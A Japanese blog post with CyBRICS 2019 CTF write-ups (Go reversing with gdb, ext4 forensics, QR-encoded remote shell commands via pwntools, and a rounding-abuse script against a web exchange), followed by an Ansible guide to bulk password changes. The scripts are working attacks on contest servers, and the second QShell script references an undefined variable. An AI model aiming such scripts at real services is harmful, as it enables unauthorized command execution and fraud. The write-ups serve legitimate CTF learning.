[-------------------------------------code-------------------------------------]
   0x4762fa <main.main+842>:    mov    QWORD PTR [rsp+0x8],0x5
   0x476303 <main.main+851>:    call   0x4280d0 <runtime.printstring>
   0x476308 <main.main+856>:    call   0x427830 <runtime.printunlock>
=> 0x47630d <main.main+861>:    mov    rbp,QWORD PTR [rsp+0xb8]
   0x476315 <main.main+869>:    add    rsp,0xc0
   0x47631c <main.main+876>:    ret
   0x47631d <main.main+877>:    call   0x44ea40 <runtime.morestack_noctxt>
   0x476322 <main.main+882>:    jmp    0x475fb0 <main.main>
[------------------------------------stack-------------------------------------]
0000| 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base  code="...)
0008| 0xc00002a6d8 --> 0x5
0016| 0xc00002a6e0 --> 0x4
0024| 0xc00002a6e8 --> 0x4
0032| 0xc00002a6f0 --> 0xc000014088 --> 0x746f6f72 ('root')
0040| 0xc00002a6f8 --> 0x4
0048| 0xc00002a700 --> 0x8
0056| 0xc00002a708 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
main.main () at /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go:25
25      /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go: No such file or directory.
gdb-peda$

アドレスが分かったので、Ghidraで対象のアドレス(0x47630d)を見てみます。

f:id:tsalvia:20190722001000p:plain

エラー表示をしていそうな関数(runtime.printstring())が見つかりました。 その少し上には、io/ioutil.WriteFile() や crypto/rc4.() などがあり、そこがメインのコードになっていそうです。 その場所(0x476181)にgdb-pedaで無理やりjumpしてみます。

gdb-peda$ b *0x476126
gdb-peda$ b *0x476181
gdb-peda$ r
gdb-peda$ jump *0x476181
gdb-peda$ c

すると、また新たに「result.pyc」という名前のファイル生成されました。

$ file result.pyc
result.pyc: data

また、今回はそのまま実行することができませんでした。

$ python3 result.pyc
RuntimeError: Bad magic number in .pyc file

拡張子的には、pycファイルとなっているので、とりあえずデコンパイルしてみます。 今回は、下記のサイトで行いました。

python-decompiler.com

デコンパイル結果は、以下の通りとなります。

def decode(data, key):
    idx = 0
    res = []
    for c in data:
        res.append(chr(c ^ ord(key[idx])))
        idx = (idx + 1) % len(key)

    return res


flag = [
 40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15]
print('Enter key to get flag:')
key = input()
if len(key) != 8:
    print('Invalid len')
    quit()
res = decode(flag, key)
print(''.join(res))

どうやらフラグは、8文字の文字列をキーとしたxor暗号で暗号化されているようです。 ただし、今回のフラグの初めの8文字は、cybrics{ であることが分かっています。

cybrics{ と 暗号化されたフラグでxorを取れば、キーが求められそうです。

CyberChefを使ってキーを求めてみます。

f:id:tsalvia:20190722003340p:plain

以上の結果から、今回のxorキーは、「Kr0H4137」だということが分かりました。 「Kr0H4137」を使って、フラグを復号することができました。

f:id:tsalvia:20190722003540p:plain

FLAG

cybrics{M4TR35HK4_15_B35T}

Disk Data (Forensic, Easy, 56 pts)

問題

Disk dump hides the flag. Obtain it
data2.zip.torrent

解答例

添付されたtorrentファイルからzipファイルをダウンロードし、展開するとExt4ファイルシステムのディスクイメージが出てきました。

$ file data2.bin
data2.bin: Linux rev 1.0 ext4 filesystem data, UUID=a795f441-a210-45b1-885b-ff53d3ca0a61 (extents) (huge files)

「data2.bin」をAutopsyで開いてみました。 しばらく漁っていると、「.bash_history」を見つけました。 コマンド履歴を見てみると、どこからかwgetで画像ファイルをダウンロードし、 ImageMagickのconvertコマンドで画像の一部を白く塗りつぶしているのが確認できました。

ls
ls -anl
bash
su rev
read -r URL
cd Downloads/
wget $URL
eog kTd0T9g.png 
convert kTd0T9g.png -fill white -draw "rectangle 0,0 300,35" kTd0T9g.png 
eog kTd0T9g.png 
ync
sync
ls -anl
cd Downloads/
wget https://www.torproject.org/dist/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz
wget https://github.com/geohot/qira/archive/v1.3.zip
unzip v1.3.zip 
ls
tar xvf tor-browser-linux64-8.5.4_en-US.tar.xz

編集された画像を見てみると、コマンド履歴の通り左上が白く塗りつぶされています。 画像を直接編集しているので復元できそうにありません。

f:id:tsalvia:20190721115838p:plain

さらに調査を進めると、ファイルのメタデータであるファイル拡張属性(user.xdg.origin.url)にURL(https://i.imgur.com/kTd0T9g.png)が残っていることに気が付きました。

f:id:tsalvia:20190721115735p:plain

実際にアクセスしてみると、白く塗りつぶされる前の画像が出てきました。 左上にフラグも確認できます。

f:id:tsalvia:20190722005044p:plain

FLAG

cybrics{A11W4Y5_D1G_D33P3R}

QShell (Cyber, Easy, 50 pts)

問題

QShell is running on
nc spbctf.ppctf.net 37338

Grab the flag

解答例

nc spbctf.ppctf.net 37338 で接続してみると、以下のようにQRコードが表示されます。

f:id:tsalvia:20190722005716p:plain

QRコードを読み取ると、プロンプトが出てきました。

sh-5.0$

. を入力してみると、「tile cannot extend outside image」とエラーが出てきました。 エラーの文章から推測すると、こちらも同じ形式でコマンドを送信しなけらばならないようです。 また、 . 以外の文字列だと反応しないことから、 . がコマンドの終端となっているようです。

QRコードをいちいち作るのは面倒くさいので、下記のサイトを参考し、qrencodeを使ってQRコードを生成させました。

orebibou.com

qrencodeのインストールは、下記コマンドでできます。

$ sudo apt-get install qrencode

以下のコマンドで、自由に文字列をQRコードに変換することができます。

$ qrencode -t ASCIIi "ls"
##########################################################
##########################################################
##########################################################
##########################################################
########              ######  ##  ##              ########
########  ##########  ##  ##  ##  ##  ##########  ########
########  ##      ##  ##  ##    ####  ##      ##  ########
########  ##      ##  ##########  ##  ##      ##  ########
########  ##      ##  ##          ##  ##      ##  ########
########  ##########  ##      ######  ##########  ########
########              ##  ##  ##  ##              ########
########################  ################################
########    ##  ####    ####      ##      ##    ##########
########          ######  ####  ##  ##  ##  ####  ########
############  ######  ####  ##  ####        ####  ########
##############    ####  ####  ##          ####    ########
##########  ####  ##            ##      ####    ##########
########################    ######    ##  ##  ##  ########
########              ##          ##  ##    ##  ##########
########  ##########  ####  ########  ######      ########
########  ##      ##  ####  ####      ######      ########
########  ##      ##  ##  ##  ####      ######    ########
########  ##      ##  ######    ##      ##    ##  ########
########  ##########  ##  ####    ####  ##  ##############
########              ##      ####  ##  ####    ##########
##########################################################
##########################################################
##########################################################
##########################################################

qrencodeの実行結果をpythonスクリプトに貼り付けて、QR送信用のプログラムを作成しました。 まずは、lsコマンド送信用のプログラムを作成しました。

from pwn import *

qr_ls = ["##########################################################", \
         "##########################################################", \
         "##########################################################", \
         "##########################################################", \
         "########              ######  ##  ##              ########", \
         "########  ##########  ##  ##  ##  ##  ##########  ########", \
         "########  ##      ##  ##  ##    ####  ##      ##  ########", \
         "########  ##      ##  ##########  ##  ##      ##  ########", \
         "########  ##      ##  ##          ##  ##      ##  ########", \
         "########  ##########  ##      ######  ##########  ########", \
         "########              ##  ##  ##  ##              ########", \
         "########################  ################################", \
         "########    ##  ####    ####      ##      ##    ##########", \
         "########          ######  ####  ##  ##  ##  ####  ########", \
         "############  ######  ####  ##  ####        ####  ########", \
         "##############    ####  ####  ##          ####    ########", \
         "##########  ####  ##            ##      ####    ##########", \
         "########################    ######    ##  ##  ##  ########", \
         "########              ##          ##  ##    ##  ##########", \
         "########  ##########  ####  ########  ######      ########", \
         "########  ##      ##  ####  ####      ######      ########", \
         "########  ##      ##  ##  ##  ####      ######    ########", \
         "########  ##      ##  ######    ##      ##    ##  ########", \
         "########  ##########  ##  ####    ####  ##  ##############", \
         "########              ##      ####  ##  ####    ##########", \
         "##########################################################", \
         "##########################################################", \
         "##########################################################", \
         "##########################################################"]

context(arch='amd64', os='linux')
p = remote('spbctf.ppctf.net', 37338)
ret = p.readuntil('.')
ret = p.readline().strip()

white = "\xe2\x96\x88"
black = "\x20"
for i in range(len(qr_ls)):
    qr = qr_ls[i].replace("##", white).replace("  ", black)
    p.sendline(qr)
p.sendline(".")
p.interactive()

上記のプログラムを実行すると、新たにQRコードが返ってきました。 少しバグっているようですが、問題なく読み取れました。

f:id:tsalvia:20190721125114p:plain

QRコードを読み取ると、以下の通りになっていました。

1.py
2.py
docker-compose.yml
Dockerfile
flag.txt
log.txt
qweqwe.png
rex.txt
runserver.sh
run.sh

次に、「cat flag.txt」という文字列をQRコードに変換し、送信用のプログラムを調整しました。

from pwn import *

qr_cat_flag = ["##########################################################", \
               "##########################################################", \
               "##########################################################", \
               "##########################################################", \
               "########              ####  ####  ##              ########", \
               "########  ##########  ##  ####  ####  ##########  ########", \
               "########  ##      ##  ####  ########  ##      ##  ########", \
               "########  ##      ##  ##  ####  ####  ##      ##  ########", \
               "########  ##      ##  ######      ##  ##      ##  ########", \
               "########  ##########  ##      ##  ##  ##########  ########", \
               "########              ##  ##  ##  ##              ########", \
               "############################      ########################", \
               "########          ##        ####    ##  ##  ##  ##########", \
               "########  ##    ########    ####    ##    ##  ##  ########", \
               "##########  ####  ##    ##      ##    ####      ##########", \
               "########  ##    ##  ####  ##  ############        ########", \
               "########  ####  ####  ######    ####    ##  ##############", \
               "########################  ######              ##  ########", \
               "########              ##  ######  ##  ######    ##########", \
               "########  ##########  ####  ####    ##  ####  ############", \
               "########  ##      ##  ##  ##          ##  ####    ########", \
               "########  ##      ##  ##  ##    ##  ##    ##  ############", \
               "########  ##      ##  ##    ##    ##########  ############", \
               "########  ##########  ##  ######    ##        ############", \
               "########              ##  ##  ####    ########  ##########", \
               "##########################################################", \
               "##########################################################", \
               "##########################################################", \
               "##########################################################"]

context(arch='amd64', os='linux')
p = remote('spbctf.ppctf.net', 37338)
ret = p.readuntil('.')
ret = p.readline().strip()

white = "\xe2\x96\x88"
black= "\x20"
for i in range(len(qr_ls)):
    qr = qr_cat_flag[i].replace("##", white).replace("  ", black)
    p.sendline(qr)
p.sendline(".")
p.interactive()

上記のプログラムを実行すると、またQRコードが返ってきました。

f:id:tsalvia:20190721125027p:plain

QRコードを読み取ると、フラグとなっていました。

FLAG

cybrics{QR_IS_MY_LOVE}

Bitkoff Bank (Web, Easy, 50 pts)

問題

Need more money! Need the flag!
http://45.77.201.191/index.php
Mirror: http://95.179.148.72:8083/index.php

解答例

リンクにアクセスすると、ユーザ名とパスワードの登録画面に飛ばされます。

f:id:tsalvia:20190722014224p:plain

登録するとメニュー画面に遷移します。

f:id:tsalvia:20190722014304p:plain

「MINE BTC」ボタンを押すと、自分のBTCが少しだけ増えます。

f:id:tsalvia:20190722014408p:plain

「change」ボタンでBTCとUSDの交換をすることができます。 最終的に、$1をどうにかして集めて、フラグを購入することが目標となるようです。

色々調査を進めてみると、USDとBTCの何度かの交換で、少しづつ増えていくことに気が付きました。

そこで、nodejsで以下の動作をするプログラムを作成しました。

  1. BTC(0.00001)をUSDに変換する
  2. USD(0.1)をBTCに変換する。
  3. USDが1以上になるまで、上記を繰り返す。
'use strict';
const request = require('request');

function send(error, response, body) {
    if (error) {
        console.log(error);
        return;
    }

    const usd = body.split('<b>')[1].split('</b>')[0];
    const btc = body.split('<b>')[2].split('</b>')[0];

    console.log('usd: ' + usd + '\tbtc: ' + btc);

    if (usd > 1)
        process.exit(0);
}

const options = {
    url: 'http://95.179.148.72:8083/index.php',
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Cookie': 'name=bitcoin_user; password=bitcoin_pass'
    },
    form: { 'from_currency': '', 'to_currency': '', 'amount': 0 }
}

setInterval(() => {
    options.form = { 'from_currency': 'btc', 'to_currency': 'usd', 'amount': 0.00001 };
    request(options, send);
    options.form = { 'from_currency': 'usd', 'to_currency': 'btc', 'amount': 0.1 };
    request(options, send);
}, 100);

上記のプログラムを実行すると、下記の通りになります。

$ node bitcoin.js

省略

usd: 0.784832   btc: 0.000024
usd: 0.684832   btc: 0.0000332
usd: 0.793888   btc: 0.0000232
usd: 0.793888   btc: 0.0000232
usd: 0.902944   btc: 0.0000132
usd: 0.902944   btc: 0.0000132
usd: 1.012      btc: 0.0000032

$1を越えたので、「buy flag ($1)」で購入すると、フラグが表示されました。

f:id:tsalvia:20190721200608p:plain

FLAG

cybrics{50_57R4n93_pR3c1510n}

Ansibleでパスワードを一括変更する(Linux編)

はじめに

2019年7月4日、5日に開催されたHardening II SUという大会に参加してきました。

wasforum.jp

大会の中で、大量のユーザ(最低100アカウント)のパスワードを短時間で変更しなければならない機会がありました。 Ansibleを使えば、複数のPCのユーザを一括で変更することができます。 今回は、Andibleを使ったLinux系のPCのユーザを一括で変更する方法について紹介します。

環境構築

検証環境

f:id:tsalvia:20190708013840p:plain

Ansibleをインストールする

  1. Ansibleをインストールする
    $ sudo apt-get install ansible
    
  2. インストール完了確認
    $ ansible --version
    ansible 2.2.1.0
      config file = /etc/ansble/ansble.cfg
      configured module search path = Default w/o overrides
    

※ オフラインでインストールしたい場合は、下記のページを参考にしてください。

tsalvia.hatenablog.com

制御対象のPCに疎通確認をする

  1. Ansibleで管理するクライアントを登録する。
    今回は、linuxというグループ名で登録する。
    $ vi hosts
    [linux]
    192.168.10.2 ansible_ssh_user='{{ srv1[1].name }}' ansible_ssh_pass='{{ srv1[1].password }}' ansible_become_pass='{{ srv1[0].password }}'
    192.168.10.3 ansible_ssh_user='{{ srv2[1].name }}' ansible_ssh_pass='{{ srv2[1].password }}' ansible_become_pass='{{ srv2[0].password }}'
    
  2. パスワードリストを作成する。
    ansible-vault コマンドを使って作成すれば、パスワードを暗号化することができる。
    $ ansible-vault create current_user_password.yml
    srv1:
      # Become User
      - name: root
        password: P@ssw0rd1
      # Login User
      - name: user1
        password: P@ssw0rd1
      # Other Users
      - name: user2
        password: P@ssw0rd1
      - name: user3
        password: P@ssw0rd1
      - name: user4
        password: P@ssw0rd1
      - name: user5
        password: P@ssw0rd1
      - name: user6
        password: P@ssw0rd1
      - name: user7
        password: P@ssw0rd1
      - name: user8
        password: P@ssw0rd1
      - name: user9
        password: P@ssw0rd1
    srv2:
      # Become User
      - name: root
        password: P@ssw0rd1
      # Login User
      - name: user1
        password: P@ssw0rd1
      # Other Users
      - name: user2
        password: P@ssw0rd1
      - name: user3
        password: P@ssw0rd1
      - name: user4
        password: P@ssw0rd1
      - name: user5
        password: P@ssw0rd1
      - name: user6
        password: P@ssw0rd1
      - name: user7
        password: P@ssw0rd1
      - name: user8
        password: P@ssw0rd1
      - name: user9
        password: P@ssw0rd1
    
  3. linuxグループに登録したクライアント全体にPingを送信する。
    $ ansible -i hosts linux -m ping --ask-vault-pass -e@current_user_password.yml
    192.168.10.2 | SUCCESS => {
        "changed": false,
        "ping": "pong"
    }
    192.168.10.3 | SUCCESS => {
        "changed": false,
        "ping": "pong"
    }
    

パスワードを一括変更する

  1. 新パスワード用のパスワードリストを作成する。
    ansible-vault コマンドを使って作成すれば、パスワードを暗号化することができる。
    $ ansible-vault create new_user_password.yml
    new_srv1:
      # Become User
      - name: root
        password: HvXGiYp843fH
      # Login User
      - name: user1
        password: iddxgw4UPWHV
      # Other Users
      - name: user2
        password: LfNRawjwdWFz
      - name: user3
        password: qyWfmgYBNE4h
      - name: user4
        password: u7E6JV9GJrsa
      - name: user5
        password: ew85Uji6hJbY
      - name: user6
        password: 5qumZFn9Bfdr
      - name: user7
        password: ra9ampz3Khur
      - name: user8
        password: FqV7fKsSzfKC
      - name: user9
        password: zv2Ld32zFJBM
    new_srv2:
      # Become User
      - name: root
        password: thdEMxG5hFLY
      # Login User
      - name: user1
        password: QXDpkbJdZh4K
      # Other Users
      - name: user2
        password: t7JQmQFwbWFx
      - name: user3
        password: qRuPadS9sLTN
      - name: user4
        password: U8QHRabhjdyQ
      - name: user5
        password: XGLGvX8h9z22
      - name: user6
        password: BLrDZfcCWVSU
      - name: user7
        password: S6sYCFDe9Y66
      - name: user8
        password: Rf2i4zJ3AhU7
      - name: user9
        password: kj6hQUjFnheN
    
  2. パスワード変更用のPlaybookを作成する。
    • パスワード変更手順
      1. rootのパスワードだけ変更する。
      2. becomeで権限を変更する際に使用するパスワードを新しいパスワードに置き換える。
      3. root以外のユーザのパスワードを変更する。
    • 各キーの意味
      • become:yesにすると、権限を変更してくれる。
      • become_method:権限変更のメソッドを選択する(su もしくは sudo)
      • no_log:yesにすると、変更されたパスワードがログに残らないようになる。
      • vars_files:外部ファイル(パスワードリスト)を指定する。
      • user:ユーザの管理ができる
      • set_fact:fact(ansible_xxx形式のもの)値の書換えができる
    $ vi change_password.yml
    - hosts: 192.168.10.2
      become: yes
      become_method: su
      no_log: yes
      vars_files:
        - new_user_password.yml
      tasks:
        - name: change root's password
          user:
            name: "{{ new_srv1[0].name }}"
            password: "{{ new_srv1[0].password | password_hash('sha256') }}"
        - name: set new root's password
          set_fact:
            ansible_become_pass: "{{ new_srv1[0].password }}"
        - name: change password
          user:
            name: "{{ item.name }}"
            password: "{{ item.password | password_hash('sha256') }}"
          when: item.name != "{{ new_srv1[0].name }}"
          with_items:
            - "{{ new_srv1 }}"
    - hosts: 192.168.10.3
      become: yes
      become_method: su
      no_log: yes
      vars_files:
        - new_user_password.yml
      tasks:
        - name: change root's password
          user:
            name: "{{ new_srv2[0].name }}"
            password: "{{ new_srv2[0].password | password_hash('sha256') }}"
        - name: set new root's password
          set_fact:
            ansible_become_pass: "{{ new_srv2[0].password }}"
        - name: change password
          user:
            name: "{{ item.name }}"
            password: "{{ item.password | password_hash('sha256') }}"
          when: item.name != "{{ new_srv2[0].name }}"
          with_items:
            - "{{ new_srv2 }}"
    
  3. Playbookの実行結果
    $ ansible-playbook -i hosts change_password.yml --ask-vault-pass -e@current_user_password.yml
    
    PLAY [192.168.10.2] ************************************************************
    
    TASK [setup] *******************************************************************
    ok: [192.168.10.2]
    
    TASK [change root's password] **************************************************
    changed: [192.168.10.2]
    
    TASK [set new root's password] *************************************************
    ok: [192.168.10.2]
    
    TASK [change password] *********************************************************
    skipping: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    changed: [192.168.10.2] => (item=(censored due to no_log))
    
    PLAY [192.168.10.3] ************************************************************
    
    TASK [setup] *******************************************************************
    ok: [192.168.10.3]
    
    TASK [change root's password] **************************************************
    changed: [192.168.10.3]
    
    TASK [set new root's password] *************************************************
    ok: [192.168.10.3]
    
    TASK [change password] *********************************************************
    skipping: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    changed: [192.168.10.3] => (item=(censored due to no_log))
    
    PLAY RECAP *********************************************************************
    192.168.10.2               : ok=4    changed=2    unreachable=0    failed=0
    192.168.10.3               : ok=4    changed=2    unreachable=0    failed=0
    

おわりに

今回は、Ansibleを使ったLinux系のPCのユーザを一括で変更する方法について紹介しました。 Ansibleは、パスワード変更だけでなく、FWの設定やアップデートなど様々な自動化が行える構成管理ツールです。 Hardeningでも役に立った便利なツールなので、ぜひ試してみてください。

参考にしたサイト